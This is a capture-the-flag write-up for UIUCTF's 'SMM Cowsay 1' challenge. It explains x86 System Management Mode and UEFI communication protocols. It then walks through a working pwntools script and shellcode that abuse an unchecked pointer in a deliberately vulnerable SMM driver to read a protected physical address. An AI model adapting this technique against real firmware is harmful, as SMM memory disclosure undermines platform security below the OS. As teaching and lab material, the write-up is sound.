Tags: rop pwn system uefi x86
Rating:
Author: @mebeim - Full exploit: expl_smm_cowasy_1.py
System Management Mode is documented in Intel SDM, Volume 3C, Chapter 30. It is the operating mode with highest privilege, and sometimes referred to as "ring -2". This mode has higher privilege than an OS/kernel (ring 0) and even an hypervisor (ring -1). It can only be entered through a System Management Interrupt (SMI), it has a separate address space completely invisible to other operating modes, and full access to all physical memory, MSRs, control registers etc.
A special region of physical memory called SMRAM is the home of the SMI handler code and also contains a save state area where the CPU state (most importantly the values of all registers) is saved to and restored from when entering/exiting SMM.
Upon receing an SMI and entering SMM the SMI handler is executed. It initially
runs code in a weird real-mode-on-steroids operating mode, but can switch to
32-bit protected mode, enable paging (and PAE), and even switch to 64-bit long
mode (and use 5-level paging). After doing what's needed, the SMI handler can
exit SMM with the RSM
instruction, which restores the CPU state
from the save state area in SMRAM.
SMIs can be triggered by software using IO port 0xB2
, and this functionality
can be used to implement some controlled mechanism of communication between SMM
and non-SMM code.
This is more or less enough beckground on SMM to understand what's going on, and I will explain the rest along the way. In any case, you can always check the manuals I link. Now let's get into the challenges!
The challenge description states:
One of our engineers thought it would be a good idea to write Cowsay inside SMM. Then someone outside read out the trade secret (a.k.a. flag) stored at physical address 0x44440000, and since it could only be read from SMM, that can only mean one thing: it... was a horrible idea.
The goal of the challenge seems simple enough: read the flag which is at
physical address 0x44440000
somehow.
The files we are given contain:
qemu-system-x86_64
binary and a
startup script that supplies the needed arguments to run the challenge
locally.Dockerfile
to apply them and build everything.Running the challenge, we are greeted with the following message:
UEFI Interactive Shell v2.2
EDK II
UEFI v2.70 (EDK II, 0x00010000)
Shell> binexec
____________________________________________________________________
/ Welcome to binexec! \
| Type some shellcode in hex and I'll run it! |
| |
| Type the word 'done' on a seperate line and press enter to execute |
\ Type 'exit' on a seperate line and press enter to quit the program /
--------------------------------------------------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
Address of SystemTable: 0x00000000069EE018
Address where I'm gonna run your code: 0x000000000517D100
The EDK2 patch 0003-SmmCowsay-Vulnerable-Cowsay.patch
implements a UEFI SMM
driver called SmmCowsay.efi
: this driver will run in SMM, and registers an
handler (through the SmiHandlerRegister
function)
to be executed in SMM that prints text much like the cowsay Linux
command does:
Status = gSmst->SmiHandlerRegister (
SmmCowsayHandler,
&gEfiSmmCowsayCommunicationGuid,
&DispatchHandle
);
When a SMI happens, the SMI handler registered by EDK2 goes through a linked list of registered handlers and chooses the appropriate one to run.
The next patch 0004-Add-UEFI-Binexec.patch
implements a normal UEFI driver
called Binexec.efi
which will interact both with us (through console
input/output) and with the SmmCowsay.efi
driver to print the greeting banner
we see above when running challenge.
In order to communicate with the SmmCowsay.efi
driver, Binexec.efi
sends a
"message" through
the ->Communicate()
method provided by
the EFI_SMM_COMMUNICATION_PROTOCOL
struct:
mSmmCommunication->Communicate(
mSmmCommunication, // "THIS" pointer
Buffer, // Pointer to message of type EFI_SMM_COMMUNICATE_HEADER
NULL
);
This function copies the message in a global variable and triggers a software SMI to handle it. The message includes the GUID of the SMM handler we want to communicate with, which is searched for in the linked list of registered handlers when entering SMM.
The Binexec.efi
driver will simply run in a loop asking us for some code in
hexadecimal form, copying it into an RWX memory area, and then jumping into it
(saving/restoring registers with an assembly wrapper). This means that we have
the ability to run arbitrary code inside an UEFI driver, which runs in
Supervisor Mode (a.k.a. ring 0).
The QEMU patch implements a custom MMIO device that simply reads a region4
file on the host machine and creates an MMIO memory region starting at physical
address 0x44440000
of size 0x1000
holding the content of this file. This
means that accessing physical memory at address 0x44440000
will invoke the
QEMU device read/write operations (MemoryRegionOps
), which will decide how to
handle the memory read/write.
The read operation handler (uiuctfmmio_region4_read_with_attrs()
) performs a
check ensuring that the read has
the .secure
flag set in the MemTxAttrs
structure passed
to the function, meaning that the read was issued from SMM. If this is not the
case, a fake flag is returned instead:
static MemTxResult uiuctfmmio_region4_read_with_attrs(
void *opaque, hwaddr addr, uint64_t *val, unsigned size, MemTxAttrs attrs)
{
if (!attrs.secure)
uiuctfmmio_do_read(addr, val, size, nice_try_msg, nice_try_len);
else
uiuctfmmio_do_read(addr, val, size, region4_msg, region4_len);
return MEMTX_OK;
}
We are also given the address of a SystemTable
and the address where our
shellcode will copied (and ran). The UEFI Specification, on which I
probably spent more time than needed, contains all the information we need to
understand what this is about.
This SystemTable
is the EFI System Table, which is a
strucure containing all the information needed to do literally anything in an
UEFI driver. It holds a bunch of pointers to other structures, which in term
hold another bunch of pointers to API methods, configuration variables, and so
on.
What we are interested in for now is the BootServices
field of the EFI System
Table, which holds a pointer to the EFI Boot Services Table (see chapter 4.4
of the UEFI Spec v2.9): another table holding a bunch of useful
function pointers for different UEFI APIs.
Ok, technically speaking it's not shellcode if it doesn't spawn a shell... but
bear with me on the terminology here :'). We can test the functionality of the
Binexec
driver by assembling and running a simple mov eax, 0xdeadbeef
. I am
using pwntools to quickly assemble the code from a shell.
$ pwn asm -c amd64 'mov eax, 0xdeadbeef'
b8efbeadde
----- snip -----
b8efbeadde
done
Running...
RAX: 0x00000000DEADBEEF RBX: 0x00000000069EE018 RCX: 0x0000000000000000
RDX: 0x000000000517CA1C RSI: 0x000000000517D100 RDI: 0x0000000000000005
RBP: 0x000000000000000F R08: 0x0000000000000001 R09: 0x000000000517CA2C
R10: 0x0000000000000000 R11: 0x000000000517BFA6 R12: 0x0000000005508998
R13: 0x0000000000000000 R14: 0x0000000006F9C420 R15: 0x0000000006F9C428
Done! Type more code
The driver works as intended and we also get a nice register dump after the shellcode finishes execution... well easy! Let's try to read the flag into a register then:
$ pwn asm -c amd64 'mov rax, qword ptr [0x44440000]; mov rbx, qword ptr [0x44440008]'
488b042500004444488b1c2508004444
----- snip -----
488b042500004444488b1c2508004444
done
Running...
RAX: 0x6E7B667463756975 RBX: 0x2179727420656369 RCX: 0x0000000000000000
...
----- snip -----
$ python3
>>> (0x6E7B667463756975).to_bytes(8, "little")
b'uiuctf{n'
>>> (0x2179727420656369).to_bytes(8, "little")
b'ice try!'
Ok, the QEMU patch works as expected: the MMIO driver saw that we are not
reading memory from System Management Mode and gave us the fake flag. Even
though we do have access to physical memory, we still cannot read the flag by
running code in the Binexec.efi
driver. We need to read it from System
Management Mode.
Looking at the source code in the patch implementing Binexec.efi
, we can see
how the communication with SmmCowsay.efi
works in order to print the greeting
banner:
VOID
Cowsay (
IN CONST CHAR16 *Message
)
{
EFI_SMM_COMMUNICATE_HEADER *Buffer;
Buffer = AllocateRuntimeZeroPool(sizeof(*Buffer) + sizeof(CHAR16 *));
if (!Buffer)
return;
Buffer->HeaderGuid = gEfiSmmCowsayCommunicationGuid;
Buffer->MessageLength = sizeof(CHAR16 *);
*(CONST CHAR16 **)&Buffer->Data = Message;
mSmmCommunication->Communicate(
mSmmCommunication,
Buffer,
NULL
);
FreePool(Buffer);
}
As already said above, normal UEFI drivers can communicate through this
"SmmCommunication" protocol with SMM UEFI drivers that have an appropriate
handler registered, and data is passed through a pointer to a
EFI_SMM_COMMUNICATE_HEADER
structure:
typedef struct {
EFI_GUID HeaderGuid;
UINTN MessageLength;
UINT8 Data[ANYSIZE_ARRAY];
} EFI_SMM_COMMUNICATE_HEADER;
This simple structure should contain the GUID of the SMM driver we want to
communicate with (in this case the GUID registered by SmmCowsay
), a message
length, and a flexible array member of MessageLength
bytes containing the
actual message.
The imporatant thing to notice here is this line:
*(CONST CHAR16 **)&Buffer->Data = Message;
In this case, the message being sent is simply a pointer, which is copied into
the ->Data
array member as is. In other words, Binexec.efi
sends a pointer
to the string to print to SmmCowsay.efi
through
mSmmCommunication->Communicate
. If we take a look at SmmCowsay.efi
handles
the pointer, we can see that it isn't treated in any special way. It is simply
passed as is to the printing function:
EFI_STATUS
EFIAPI
SmmCowsayHandler (
IN EFI_HANDLE DispatchHandle,
IN CONST VOID *Context OPTIONAL,
IN OUT VOID *CommBuffer OPTIONAL,
IN OUT UINTN *CommBufferSize OPTIONAL
)
{
DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Enter\n"));
if (!CommBuffer || !CommBufferSize || *CommBufferSize < sizeof(CHAR16 *))
return EFI_SUCCESS;
Cowsay(*(CONST CHAR16 **)CommBuffer); // <== pointer passed *as is* here
DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Exit\n"));
return EFI_SUCCESS;
}
This means that we can pass an arbitrary pointer to the SmmCowsay
driver, and
it will happily read memory at the given address for us, displaying it on the
console as if it was a NUL-terminated CHAR16
string. If we build an
EFI_SMM_COMMUNICATE_HEADER
with ->Data
containing the value 0x44440000
and
pass it to the SMM driver through mSmmCommunication->Communicate
, we can get
it to print the flag for us!
But how do we get ahold of this "SmmCommunication" protocol to call its
->Communicate()
method? Taking a look at the code in Binexec.efi
,
mSmmCommunication
is simply a pointer obtained passing the right GUID to
BootServices->LocateProtocol()
, like this:
Status = gBS->LocateProtocol(
&gEfiSmmCommunicationProtocolGuid,
NULL,
(VOID **)&mSmmCommunication
);
All we need to do in order to get the flag is simply replicate exactly what the
Binexec
driver is doing, passing a different pointer to SmmCowsay
and let it
print the memory content to the console for us. In theory we could do everything
with a single piece of assembly, but since we have the ability to send multiple
pieces of code in a loop and observe the results, let's split this into simpler
steps so that we can check if things are OK along the way.
The LocateProtocol
function is provided in the BootServices
table (gBS
),
of which we actually have a pointer in the SystemTable
. We know the address of
SystemTable
since it is printed to the console for us, though to be pedantic
this does not really matter since it is a fixed address and there isn't any kind
of address randomization going on.
We need to get SystemTable->BootServices->LocateProtocol
. In theory all
addresses are fixed in our working environment (both locally and remote) due to
no ASLR being applied by EDK2, so we could just get the address of any
function we need and do direct calls, but let's do it the right way because (1)
we'll actually learn something, (2) we'll nonethless need it for the next
challenges and most importantly (3) I did not think about it originally and I
already have the code to do it anyway :').
We can get LocateProtocol
pretty easily with a couple of MOV instructions. The
debug artifacts provided with the challenge files also include all the structure
definitions we need in the debug symbols, so we can check the DWARF info in
handout/edk2_artifacts/Binexec.debug
to get the offsets of the fields. I'll
use the pahole
utility (from the dwarves
Debian package) for
this:
$ pahole -C EFI_SYSTEM_TABLE handout/edk2_artifacts/Binexec.debug
typedef struct {
EFI_TABLE_HEADER Hdr; /* 0 24 */
CHAR16 * FirmwareVendor; /* 24 8 */
UINT32 FirmwareRevision; /* 32 4 */
/* XXX 4 bytes hole, try to pack */
EFI_HANDLE ConsoleInHandle; /* 40 8 */
EFI_SIMPLE_TEXT_INPUT_PROTOCOL * ConIn; /* 48 8 */
EFI_HANDLE ConsoleOutHandle; /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL * ConOut; /* 64 8 */
EFI_HANDLE StandardErrorHandle; /* 72 8 */
EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL * StdErr; /* 80 8 */
EFI_RUNTIME_SERVICES * RuntimeServices; /* 88 8 */
EFI_BOOT_SERVICES * BootServices; /* 96 8 */
UINTN NumberOfTableEntries; /* 104 8 */
EFI_CONFIGURATION_TABLE * ConfigurationTable; /* 112 8 */
/* size: 120, cachelines: 2, members: 13 */
/* sum members: 116, holes: 1, sum holes: 4 */
/* last cacheline: 56 bytes */
} EFI_SYSTEM_TABLE;
This tells us that BootServices
is at offset 96 in SystemTable
(type
EFI_SYSTEM_TABLE
). Likewise we can look at EFI_BOOT_SERVICES
to see that
LocateProtocol
is at offset 320
in
BootServices
.
Setting things up with Python and pwtools, the code needed is as follows:
# Little hack needed to disable pwntools from taking over the terminal with
# ncurses and breaking the output if we do conn.interactive() since the remote
# program outputs \r\n for newlines.
import os
os.environ['PWNLIB_NOTERM'] = '1'
from pwn import *
context(arch='amd64')
os.chdir('handout/run')
conn = process('./run.sh')
os.chdir('../..')
conn.recvuntil(b'Address of SystemTable: ')
system_table = int(conn.recvline(), 16)
log.info('SystemTable @ 0x%x', system_table)
conn.recvline()
code = asm(f'''
mov rax, {system_table}
mov rax, qword ptr [rax + 96] /* SystemTable->BootServices */
mov rbx, qword ptr [rax + 64] /* BootServices->AllocatePool */
mov rcx, qword ptr [rax + 320] /* BootServices->LocateProtocol */
''')
conn.sendline(code.hex().encode() + b'\ndone')
conn.recvuntil(b'RBX: 0x')
AllocatePool = int(conn.recvn(16), 16) # useful for later
conn.recvuntil(b'RCX: 0x')
LocateProtocol = int(conn.recvn(16), 16)
log.success('BootServices->AllocatePool @ 0x%x', AllocatePool)
log.success('BootServices->LocateProtocol @ 0x%x', LocateProtocol)
In order to locate mSmmCommunication
we need to pass a pointer to the protocol
GUID to LocateProtocol
, and a pointer to the a location where the resulting
pointer should be stored. We already have a RWX area of memory available (the
one where our shellcode is written), so let's use that. We normally wouldn't,
but the patch 0005-PiSmmCpuDxeSmm-Open-up-all-the-page-table-access-res.patch
to EDK2 sets all entries of the page table to RWX so we're good.
From disassembling any of the UEFI drivers, we can see that the calling convention is Microsoft x64, so arguments in RCX, RDX, R8, R9, then stack.
# Taken from EDK2 source code (or opening Binexec.efi in a disassembler)
gEfiSmmCommunicationProtocolGuid = 0x32c3c5ac65db949d4cbd9dc6c68ed8e2
code = asm(f'''
/* LocateProtocol(gEfiSmmCommunicationProtocolGuid, NULL, &protocol) */
lea rcx, qword ptr [rip + guid]
xor rdx, rdx
lea r8, qword ptr [rip + protocol]
mov rax, {LocateProtocol}
call rax
test rax, rax
jnz fail
mov rax, qword ptr [rip + protocol] /* mSmmCommunication */
mov rbx, qword ptr [rax] /* mSmmCommunication->Communicate */
ret
fail:
ud2
guid:
.octa {gEfiSmmCommunicationProtocolGuid}
protocol:
''')
conn.sendline(code.hex().encode() + b'\ndone')
conn.recvuntil(b'RAX: 0x')
mSmmCommunication = int(conn.recvn(16), 16)
conn.recvuntil(b'RBX: 0x')
Communicate = int(conn.recvn(16), 16)
log.success('mSmmCommunication @ 0x%x', mSmmCommunication)
log.success('mSmmCommunication->Communicate @ 0x%x', Communicate)
We can now craft a message for SmmCowsay
containing a pointer to the flag and
let it print it for us by calling mSmmCommunication->Communicate
with the
right arguments. We can see the layout of EFI_SMM_COMMUNICATE_HEADER
using
pahole
again, inspecting the UEFI Specification PDF, or looking at EDK2 source
code.
# Taken from 0003-SmmCowsay-Vulnerable-Cowsay.patch
gEfiSmmCowsayCommunicationGuid = 0xf79265547535a8b54d102c839a75cf12
code = asm(f'''
/* Communicate(mSmmCommunication, &buffer, NULL) */
mov rcx, {mSmmCommunication}
lea rdx, qword ptr [rip + buffer]
xor r8, r8
mov rax, {Communicate}
call rax
test rax, rax
jnz fail
ret
fail:
ud2
buffer:
.octa {gEfiSmmCowsayCommunicationGuid} /* Buffer->HeaderGuid */
.quad 8 /* Buffer->MessageLength */
.quad 0x44440000 /* Buffer->Data */
''')
conn.sendline(code.hex().encode() + b'\ndone')
# Check output to see if things work
conn.interactive()
Wait a second though. This code does not work!
Running...
!!!! X64 Exception Type - 06(#UD - Invalid Opcode) CPU Apic ID - 00000000 !!!!
RIP - 000000000517D120, CS - 0000000000000038, RFLAGS - 0000000000000286
RAX - 800000000000000F, RCX - 00000000000000B2, RDX - 00000000000000B2
...
We hit the ud2
in the fail:
label and got a nice register dump, because
Communicate
returned 0x800000000000000F
: which according to the UEFI Spec
(Appendix D - Status Codes) means EFI_ACCESS_DENIED
.
Indeed there is a gotcha: even though the challenge author explicitly added an
EDK2 patch to mark all all memory as RWX in the SMM page table
(0005-PiSmmCpuDxeSmm-Open-up-all-the-page-table-access-res.patch
), there is
still a sanity check being performed on the SMM communication buffer,
as we can see in EDK2 source code, which errors out if the
buffer resides in untrusted or invalid memory regions (like the one used for our
shellcode). Thanks to YiFei for pointing this out since I had not actually
figured out the real reason behind the "access denied" when working on the
challenge.
In fact, looking at the code for Binexec.efi
above, in the Cowsay()
function
the EFI_SMM_COMMUNICATE_HEADER
is actually allocated using the library
function AllocateRuntimeZeroPool()
. We don't have a nice pointer to this
function, but can allocate memory using either BootServices->AllocatePool()
or
BootServices->AllocatePages()
specifying the "type" of memory we want to
allocate. The EFI_MEMORY_TYPE
we want is
the type EfiRuntimeServicesData
, which will be
accessible from SMM.
EfiRuntimeServicesData = 6
code = asm(f'''
/* AllocatePool(EfiRuntimeServicesData, 0x1000, &buffer) */
mov rcx, {EfiRuntimeServicesData}
mov rdx, 0x1000
lea r8, qword ptr [rip + buffer]
mov rax, {AllocatePool}
call rax
test rax, rax
jnz fail
mov rax, qword ptr [rip + buffer]
ret
fail:
ud2
buffer:
''')
conn.sendline(code.hex().encode() + b'\ndone')
conn.recvuntil(b'RAX: 0x')
buffer = int(conn.recvn(16), 16)
log.success('Allocated buffer @ 0x%x', buffer)
code = asm(f'''
/* Copy data into allocated buffer */
lea rsi, qword ptr [rip + data]
mov rdi, {buffer}
mov rcx, 0x20
cld
rep movsb
/* Communicate(mSmmCommunication, buffer, NULL) */
mov rcx, {mSmmCommunication}
mov rdx, {buffer}
xor r8, r8
mov rax, {Communicate}
call rax
test rax, rax
jnz fail
ret
fail:
ud2
data:
.octa {gEfiSmmCowsayCommunicationGuid} /* Buffer->HeaderGuid */
.quad 8 /* Buffer->MessageLength */
.quad 0x44440000 /* Buffer->Data */
''')
conn.sendline(code.hex().encode())
conn.sendline(b'done')
Output:
Running...
__________________________
< uut{hnrn_eoi_nufcet3201} --------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
Remember that we are dealing with UTF16 strings? The print routine in
SmmCowsay
seems to just skip half the characters for this reason. We can
simply print again passing 0x44440001
as pointer to get the second half of the
flag:
Running...
_________________________
< icfwe_igzr_sisfiin_55e8 >
-------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
Reassembling it gives us: uiuctf{when_ring_zero_is_insufficient_35250e18}
.